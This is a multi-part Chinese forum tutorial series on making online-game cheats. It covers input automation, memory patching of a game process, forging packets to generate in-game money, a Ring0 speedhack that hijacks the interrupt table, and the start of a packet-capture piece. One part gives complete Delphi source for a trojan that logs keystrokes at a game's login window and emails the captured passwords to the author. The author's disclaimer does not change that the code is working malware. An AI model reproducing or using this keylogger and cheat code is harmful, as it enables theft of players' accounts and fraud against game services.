在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):
1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气^_^)
2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编程技术提高的好东东)
3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(TMD,“烂”就一个字,不过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用呀!~~)
4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,所以不能妄自评,惭愧~~)
5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发(Kao,说起来简单,你做一个试试~~~~)。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock技术…………
这几种外挂之中,前三种可以用VB,DELPHI等语言比较好实现,后两种则要用VC等底层支持比较好的编程工具才好实现。(啪,请听下回分解)
(本人是个程序爱好者并不是专业制作外挂的,所以文中有什么不当请大家海涵,以后的文章,我会对动作式,本地修改式,木马式,封包式这4种东东的编写过程做详细解说)
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。
记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:
1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
BOOL GetCursorPos(
LPPOINT lpPoint // address of structure for cursor position
);
2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
BOOL SetCursorPos(
int X, // horizontal position
int Y // vertical position
);
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:
VOID mouse_event(
DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~
好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:
getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);
看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
VOID keybd_event(
BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
UINT MapVirtualKey(
UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);
首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:
在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
DWORD GetWindowThreadProcessId(
HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
HANDLE OpenProcess(
DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:
BOOL WriteProcessMemory(
HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow( 'XX ', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。
(方法大家已经看清楚了,具体实践就看大家的了,呵呵~~~~~~,不过不要高兴太早,这种网络游戏毕竟占少数,所以我会在以后的文章中对其他类型外挂做详细解说,对了,请跟一下贴子,鼓励一下,不然我真法跟了,谢谢)
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
首先,让我们来看一下网络游戏的工作原理:
网络游戏是这样工作的:
1.由服务器记录保存所有用户资料,所有信息的修改都是服务器完成的
2.服务器接受客户机的请求发送必要的信息给客户机,以使玩家正常游戏
3.服务器接收客户机的信息反馈,并根据反馈信息,对游戏帐号作相应修改
从以上简单的介绍,我们可以看出,网络游戏可以认为是这样工作的:
由客户机电脑操作服务器器电脑,对游戏帐号信息进行修改!
要操纵本地的电脑是很容易的,因此,要显示所有已经从服务器得到的信息是完全可能的,这就可以做到以下功能:
1、游戏没有黑夜,因为地图在本地,全部显示是完全可以做到的!
2.自动加血是没有问题的,因为血的多少也已经发到本地电脑,完全可以用外挂检测到,并在必要时加血,加血本身只是一个鼠标动作,完全可以交给外挂去做。类似的,自动加魔法,自动加气,自动回城、自动打怪、自动采矿卖钱然后再自动回去采、自动练级等等都可以做到!
3.卖东西的过程很经典:你卖东西时,实际就是告诉服务器电脑,你已经将一个东西卖了,真实过程是:你向服务器发送了一个具体物品的封包,如果这个封包正确,服务器就向你的游戏帐号加一定数量的钱,然后再反馈给你一些信息,假如封包不正确,自然就卖不到钱,因此,我们可以利用外挂不断向服务器发送封包,只要正确,那么服务器就认为我们再卖东西,即使我们什么都没有卖,服务器也不断给我们钱,这就是所谓的刷钱。如果封包没有加密,那么这个功能是非常容易实现的,如果封包加密,其实同样可以做到,只是要解密而已,稍微复杂些而已!类似的,就可以实现买东西用假钱(不用钱)。攻击、防御增加,原理都是类似的!
以上的讲解,大家应该明白,其实外挂是每个游戏都可能出现的,只要有人想做,那么就没有做不出外挂的游戏!除非这个游戏不能玩!!
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!学制作外挂难吗
外挂的制作,有容易的,也有难的。要制作简单的外挂,自然不难,如果要制作出功能变态的外挂,就比较难一些了,其次和选择制作外挂的工具也很有关系,例如,利用WPE制作外挂就很简单,只要有初中文化就可以制作出相当强大的外挂,如果用VB来编写外挂,也很简单,而且能实现几乎所有的功能,是学习和制作外挂最理想的工具了,VC也一样,难度大一些的是Delphi这样的开发工具,更难的是C语言,最难的就是汇编语言了,几乎可以认为由于太难掌握而不适合开发外挂。
常用工具wpe下载:
http://www.8860.net/delphicode/dispdoc.asp?id=182
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
我提供一种外挂的思路。
很多人都提到,需要解密封包的问题,实际上,可以不需要解密。不解密怎么得到封包的真正数据呢?
可以做到的
1、把一个DLL挂接到目标进程中,HOOK技术
2、修改一些关键函数的跳转地址,比如Recv,这些函数的地址指向自己的DLL中的函数,这种技术,APIHook。很容易。
3、修改调用Recv的上层或者若干层的函数堆栈,因为他们调用Recv所以,他们的堆栈在Recv当中可见。把解密完成后的返回地址修改成,DLL中的一个地址,保存原来的返回地址。处理后,返回到正常的返回地址。
4、发送数据包,更加简单,直接设定参数,调用,目标程序中的发送数据的程序段,这些程序段,需要靠反汇编程序找出来的。
用Delphi一样可以做到这些,你可以利用它的调试工具,跟踪汇编代码,反编译,好像是一个DASM的一个软件,小巧,容易使用。
有些程序,把发送数的部分放在了DLL中,这的确是一种良好的设计,分层的设计,这给我们设计外挂也提供了方便,直接修改或者Hook这些DLL中的函数就可以了
我说的这个方法,很怕客户端修改,每次修改一个版本就要重新找一下地址,修正一下外挂,比较罗嗦。
曾经用这个方法,做了一个一半的外挂,大话西游3,实现了,自动聊天,吃药等等,但是,没有能够实现走路,走路的解密封包也很难看得懂,呵呵。
也说封包:
封包的组成
一个封包,包含有如下元素,也就是组成部分吧!
1.需要传输的数据(主要的和最重要的部分就是这个,外挂修改的也是这部分)
2.序列号(每个封包必须有自己的序列号,以便到了接收端后可以按照序列号重新组装)
3.IP地址,一般都有这一部分,通过网络解析才知道封包从那里来,到那里去!
当然封包的内容不止这些,但是,我们了解这些就够了。
注意:在传输中,所有数据都是16位或者32位的,所以截获的封包看起来总是怪怪的!
面给一个封包的基本格式,给大家看看(下面是基本封包格式,如果您可以背下来他们的格式,这对您修改游戏是非常有用的!强烈建议您看一些关于封包格式的文章,您就可以很容易地把封包看清楚,很快知道哪个才是真正的数据):
Source Port (16) | Destination Port (16)
Sequence Number (32)
Acknowledgment Number (32)
Data Offset(4) | Reserved (6)|UGR|ACK|PSH|RST|SYN|FIN|Window(16)
Checksum (16) | Urgent Pointer (16)
Options (0 or more 32 bit words + padding)
DATA
...
稍微注意以下,您可以看到,每行的长度都是32字节!
大家看到了吗?data就是数据,那是最关键的部分,我们使用WPE修改的就是那一部分!
关于封包,是网络方面的知识,要写出来,估计可以出一本书了,这里不再详细讲解,如果您要详细学习请您参考相关资料。
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
广告:http://delphicode.yeah.net
出分析封包的第一条黄金法则------比较法则!
所谓比较法则就是通过比较,得到 我们需要的东西,封包往往由于于我们平常的习惯有区别,我们难于辨认,只有电脑才喜欢,而且,封包有自己结构,不是一个封包的所有内容都是有用的,其中很多是我们所不需要的,我们不必去详细了解每一部分到底是什么意思,那么我们怎么得到其中的包含的关键信息的部分呢?那就是……比较,对,是比较,方便又准确的方法 。
那么怎么比较呢?请看下面的分析!
1.相同比较
2.不同比较
所谓相同比较,这是游戏中经常用到的!因为游戏封包都是加密的,对同一个内容的封包也是不同的,我们做同一个操作,结果会有不同的封包,这是相同比较,例如,在游戏中,我们卖掉一个小血瓶,看看封包是什么?千万不要以为以后卖血瓶永远是这个封包了,对所有封包都不要有这个思想,否则,祸患无穷!我们再卖一个小血瓶,再看看封包内容,比较一下这两次封包相同的地方在那里,不同的地方在那里?这个很重要哦! 如果完全相同,那我们再卖一个血瓶看看,如果还相同,再卖一个看看,还相同?如果真是这样,10次都是这个结果,我们可以初步断定,血瓶的封包是不变的,我们可以利用了!怎么利用?不用急,在后面说明,现在还早!
如果第一次和第二次得到的封包不完全一样怎么办?比较一下,找到不同的地方在那里,这些地方的区别分别是什么意思,关于不同地方是什么意思的分析,我们不再分析了前面已经分析过了!
如果再卖掉一个血瓶,第三次和第二次也不一样怎么办?老办法,分析相同的地方和不同的地方啊!
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
广告:http://delphicode.yeah.net
黄金规则之结构规则
由于各种原因,外挂总是很难直接读的,那么怎么办呢?前面我们说了比较法则,这个法则是非常有用的,但是还不够,如果我们多掌握几中方法,那么我们修改封包成功的可能性就要高很多,所以,一定要多学几中分析封包的方法,封包是有结构的,这个结构如同人体的骨骼,如果知道了骨骼的构造,对我们解剖人体是非常有用的,否则谁知道该从哪儿入手呢?那么我们就给大家讲一下封包的结构:
一个TCP传输单元可以认为是一个封包,这个单元结构如下:源(就是封包从那里来)、目的端口(封包到那里去,源和目的端口各16位)、序号(可以确认排队)、确认号(确认到达目的地,不必重新请求发送)、头标长度(因为TCP头是可变的,它包含的可选的“选项字段”)、码位、窗口。
但是不是每个封包都包含那么多的内容,可能只包含其中的某些项,这个就要根据情况而决定了,所以要经常分析封包,习惯了就好了,可以一目了然。
这里给大家具体的一个封包,大家可以自己看看,大家也可以自己拦截一些封包来分析,当然,不是每个封包都是那么有典型意义,因此分析起来就要难多了!
封包如下:
Source Port (16) | Destination Port (16)
Sequence Number (32)
Acknowledgment Number (32)
Data Offset(4) | Reserved (6)|UGR|ACK|PSH|RST|SYN|FIN|Window(16)
Checksum (16) | Urgent Pointer (16)
Options (0 or more 32 bit words + padding)
DATA
...
这个是表准的封包的组成结构,这个结构不是每个封包都包含得有的,我们以下面这个封包解释给大家看看:
这个封包就非常简单了,没有指定发向那里,没有告诉发出的源,那么这个就是一般情况下的封包,因为在游戏里面,我们的电脑和服务器已经建立了稳定的连接,这就是说,封包在这样的稳定连接下可以省略很多内容,甚至只有关键内容,这个结构的掌握就全部建立在平时的多分析上面了,只要您分析多了,自然可以知道怎么分析了!
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
广告:http://delphicode.yeah.net以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到 'xx '窗口,就用FindWindow(nil, 'xx ')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := ' ';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile, 'hook.txt '); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:= ' '; //设置附件
nmsmtp1.PostMessage.FromAddress:= 'XXX@XXX.com '; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:= 'XXX@XXX.com '; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:= '密码 '+ ' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:= 'password '; //设置邮件标题
nmsmtp1.SendMail; //发送邮件
这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在www.playicq.com上找得到。
(其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~,最后要说的是我最近一段时间很忙,单位里有一堆事情等着我要去做(做项目,做研发,带实习生,过CMM2~~~~累呀),所以第5篇也不得不推后出了,请大家谅解,做为对大家关心的补偿,请大家有什么问题跟贴留言,如果我会,我会一一解答的,谢谢大家对我的文章的关心~~)
附:
function Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '[Print Screen] ';
case lp of
10688: result := '` ';
561: Result := '1 ';
818: result := '2 ';
1075: result := '3 ';
1332: result := '4 ';
1589: result := '5 ';
1846: result := '6 ';
2103: result := '7 ';
2360: result := '8 ';
2617: result := '9 ';
2864: result := '0 ';
3261: result := '- ';
3515: result := '= ';
4177: result := 'Q ';
4439: result := 'W ';
4677: result := 'E ';
4946: result := 'R ';
5204: result := 'T ';
5465: result := 'Y ';
5717: result := 'U ';
5961: result := 'I ';
6223: result := 'O ';
6480: result := 'P ';
6875: result := '[ ';
7133: result := '] ';
11228: result := '\ ';
7745: result := 'A ';
8019: result := 'S ';
8260: result := 'D ';
8518: result := 'F ';
8775: result := 'G ';
9032: result := 'H ';
9290: result := 'J ';
9547: result := 'K ';
9804: result := 'L ';
10170: result := '; ';
10462: result := ' ' ' ';
11354: result := 'Z ';
11608: result := 'X ';
11843: result := 'C ';
12118: result := 'V ';
12354: result := 'B ';
12622: result := 'N ';
12877: result := 'M ';
13244: result := ', ';
13502: result := '. ';
13759: result := '/ ';
13840: result := '[Right-Shift] ';
14624: result := '[Space] ';
283: result := '[Esc] ';
15216: result := '[F1] ';
15473: result := '[F2] ';
15730: result := '[F3] ';
15987: result := '[F4] ';
16244: result := '[F5] ';
16501: result := '[F6] ';
16758: result := '[F7] ';
17015: result := '[F8] ';
17272: result := '[F9] ';
17529: result := '[F10] ';
22394: result := '[F11] ';
22651: result := '[F12] ';
10768: Result := '[Left-Shift] ';
14868: result := '[CapsLock] ';
3592: result := '[Backspace] ';
3849: result := '[Tab] ';
7441:
if wp > 30000 then
result := '[Right-Ctrl] '
else
result := '[Left-Ctrl] ';
13679: result := '[Num /] ';
17808: result := '[NumLock] ';
300: result := '[Print Screen] ';
18065: result := '[Scroll Lock] ';
17683: result := '[Pause] ';
21088: result := '[Num0] ';
21358: result := '[Num.] ';
20321: result := '[Num1] ';
20578: result := '[Num2] ';
20835: result := '[Num3] ';
19300: result := '[Num4] ';
19557: result := '[Num5] ';
19814: result := '[Num6] ';
18279: result := '[Num7] ';
18536: result := '[Num8] ';
18793: result := '[Num9] ';
19468: result := '[*5*] ';
14186: result := '[Num *] ';
19053: result := '[Num -] ';
20075: result := '[Num +] ';
21037: result := '[Insert] ';
21294: result := '[Delete] ';
18212: result := '[Home] ';
20259: result := '[End] ';
18721: result := '[PageUp] ';
20770: result := '[PageDown] ';
18470: result := '[UP] ';
20520: result := '[DOWN] ';
19237: result := '[LEFT] ';
19751: result := '[RIGHT] ';
7181: result := '[Enter] ';
end;
end;
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表-> 创建一个中断门-> 进入Ring0-> 调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin
asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah
out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:
SetRing(strtoint( '$ '+inttostr(1742+(10-trackbar1.Position)*160)));
因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
广告:http://delphicode.yeah.net网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这一篇里就让我们一起研究一下这一个问题吧。
别看这是封包这一问题,但是涉及的技术范围很广范,实现的方式也很多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不可能每种技术和方法都涉及,所以我在这里以Winsock2技术作详细讲解,就算作抛砖引玉。
由于大多数读者对封包类编程不是很了解,我在这里就简单介绍一下相关知识:
APIHooK:
由于Windows的把内核提供的功能都封装到API里面,所以大家要实现功能就必须通过API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个API,从API里面得到封包信息。
VXD:
直接通过控制VXD驱动程序来实现封包信息的捕获,不过VXD只能用于win9X。
winsock2:
winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,winsock2是winsock2.0提供的服务提供者接口,但只能在win2000下用。
好了,我们开始进入winsock2封包式编程吧。
在封包编程里面我准备分两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。
首先我们要实现的是封包的捕获:
